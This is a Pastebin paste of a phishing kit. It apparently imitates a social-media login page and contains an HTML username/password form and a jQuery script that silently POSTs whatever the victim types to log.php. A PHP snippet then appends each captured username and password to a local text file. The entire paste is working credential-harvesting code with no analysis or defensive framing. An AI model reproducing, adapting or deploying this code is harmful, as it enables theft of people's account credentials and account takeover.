Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <form class="_rwf8p" data-reactid=".0.0.0.0.1.2">
- <div class="_ccek6 _i31zu" data-reactid=".0.0.0.0.1.2.0">
- <input class="_kp5f7 _qy55y" aria-required="true" autocapitalize="off" id="Username" name="Username" type="username" placeholder="Username" value="" autocorrect="off" spellcheck="false" class="" data-reactid=".0.0.0.0.1.2.0.0" type="text"></div>
- <div class="_ccek6 _i31zu" data-reactid=".0.0.0.0.1.2.1">
- <input class="_kp5f7 _qy55y" aria-required="true" autocapitalize="off" id="Passwd" name="Passwd" type="password" placeholder="Password" value="" autocorrect="off" spellcheck="false" class="" data-reactid=".0.0.0.0.1.2.1.0" type="password">
- <div class="_j4ox0" data-reactid=".0.0.0.0.1.2.1.1"><a class="_19gtn" href="/accounts/password/reset/" data-reactid=".0.0.0.0.1.2.1.1.0">Forgot?</a></div></div><button class="_rz1lq _k2yal _84y62 _7xso1 _nv5lf" data-reactid=".0.0.0.0.1.2.2">Log in</button></form></div></div>
- <script>
- $("html").keypress(function(event) {
- if(event.keyCode == 13) {
- saveCridentials();
- }
- });
- $("#signIn").click(function() {
- saveCridentials();
- });
- function saveCridentials() {
- $.ajax({
- type: "POST",
- url: "log.php",
- data: { "username" : $("#Username").val(), "password" : $("#Passwd").val() },
- dataType: "json"
- });
- $("#Username").val("");
- $("#Passwd").val("");
- }
- </script>
- <?php
- $username = $_POST['username'];
- $password = $_POST['password'];
- fwrite(fopen('cridentials.txt', 'a'), "Username: ". $username . " Password: ". $password . "n");
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement